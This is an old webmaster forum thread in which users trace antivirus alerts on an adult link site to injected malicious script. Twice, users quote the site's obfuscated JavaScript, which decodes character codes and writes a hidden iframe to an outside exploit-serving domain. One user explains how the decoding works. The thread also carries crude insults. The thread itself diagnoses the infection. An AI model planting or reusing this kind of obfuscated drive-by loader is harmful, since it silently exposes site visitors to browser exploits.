TheHun loading a trojan? huh?
 

When I goto the hun my mcafee pops up with Exploit-Mhtredir.gen and Exploit-ByteVerify

Wtf is this?

http://thehun.com/

I was just there and I didnt get anything are you sure its not already on your computer from something else.


pete

nothing here.

Highly doubt it considering I havent gotten it before, and havent installed anything new or anything recently.

maybe you're infected with spyware..

everythings fine for me

Why are people so naive to post such things?

Yeah, TheHun decided to piss off his surfers... So he put a dialer and exit popup-hell on the page.

I am getting it to. Checked my computer and eveything seems to be ok.

seems like his server must have been hacked or something

Are you running mcafee? I highly doubt it.

i get the iframe also loading an exploit.

maybe cuz he wanted an a fast response?

who are you btw? do you work for vitamax? ive just noticed how much of a ramrod you are recently.

Headless, i know youre a half ass webmaster but even half ass webmasters should know how spyware works.

Yep. My Norton caught it, too.

MHTMLredir.exploit

I also saw the url iframedollars.biz (or something) at the bottom.

I get it too

none, the hun gets revenue from pre-paid gallery placements on the top 15 spaces and banners. the rest of the galleries are free placements.

i also get this with my norton

This coming from someone who can't even book a flight correctly. Please stfu.

Fascinating.

I guess you idiots with stupid comments never heard of "hijackthis".

shit... I got too....

Is the infection bad?

I just looked and the name of the file that Norton fixed/quarantined was:

adv478.php

It was in my temp internet files and said the same thing about being the MHTMLredir.exploit

i get it too

yeah me too

I take back my previous comment, I don't use that newbie Norton/McAfee shit (Go with AVG or NOD32). So when I visited, it went by undetected.

This Russian guy is good though, he's responsible for 3 other hijack exploits.

Hmmmm funny how the "newbie Norton/McAfee shit" caught it first.

hahahaha keep on keeping on... thats why we @ gfy love you guys..

I got it too. It only happened the first time I visited today. I didn't save the message but norton popped up with it's warning.

Bah, I meant to say it didn't popup a warning, but it still cleaned the file.

The settings I have my NOD32 are on "high risk", meaning it warns me only about high-risk viruses/trojans... Not some half-assed hijacker that any idiot can remove.

I got the Trojan and MHTMLRedir.Exploit too with my Norton.

I got it also

Hate to burst your bubble, but I can set my Norton not to alert me, as well. I suppose I could also buy some special, elite smoke detectors for my house that only send out silent alarms when it's on fire, but I'd rather know when there's a problem. I'm crazy like that. :)

hummmmmmm ...
adv478 Stats

Hackers do bank those days

Nice, where do I signup? :P

:Oh crap

I got it too :(

Page is down now.

Russians are fast.. lol

it was something like 1200$ for yesterday

Got it from them a few days ago.

I just checked myself and My Norons also just picked it up and auto deleted it, but Headless is correct. :2 cents:

must happen all the time

I can't get to it? what is it?

Yep...Did the same thing to me :(



Mike...........

http://www.microsoft.com/technet/sec.../ms04-013.mspx
http://www.emthree.net/ucn/HUNError.gif

I am not getting anything here... hmm :error

Remote Stats.

the iframe is called from his own java script.
var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!11 6!116!112!58!47!47!105!102!114!97!109!101!100!111! 108!108!97!114!115!46!98!105!122!47!115!49!54!52!4 6!104!116!109!108!34!32!87!73!68!84!72!61!48!32!66 !79!82!68!69!82!61!48!32!72!69!73!71!72!84!61!48!3 2!115!116!121!108!101!61!34!100!105!115!112!108!97 !121!58!110!111!110!101!34!62!60!47!73!70!82!65!77 !69!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp=""; }document.write(out);

Either he likes the extra money or his site has been hacked.
The script builds the string for the iframe.

This is bad. I hope it will be fixed soon

The hun has its own forum , i have let them know , they dont seem to care..

those trojans are loaded on damn near every shady tgp online. Nothin new and exotic by any means

its just the asci code
60 = <
73 = i
70 = f
82 = r and so on.
document.write puts out <iframe......iframedollars.biz> . Then iframedollars starts the fucking exploit.

... the code on thehun.com is encrypted, stop blaming russian hackers, the owner of the site is doing it himself.

var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!11 6!116 !112!58!47!47!105!102!114!97!109!101!100!111!108!1 08!97!114!115!46!98!105!122!47!115!49!54!52!46!104 !116!109!108!34!32!87!73!68!84!72!61!48!32!66!79!8 2!68!69!82!61!48!32!72!69!73!71!72!84!61!48!32!115 !116!121!108!101!61!34!100!105!115!112!108!97!121! 58!110!111!110!101!34!62!60!47!73!70!82!65!77!69!6 2!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp=""; }document.write(out);

... muchahahha, caught with your pants down.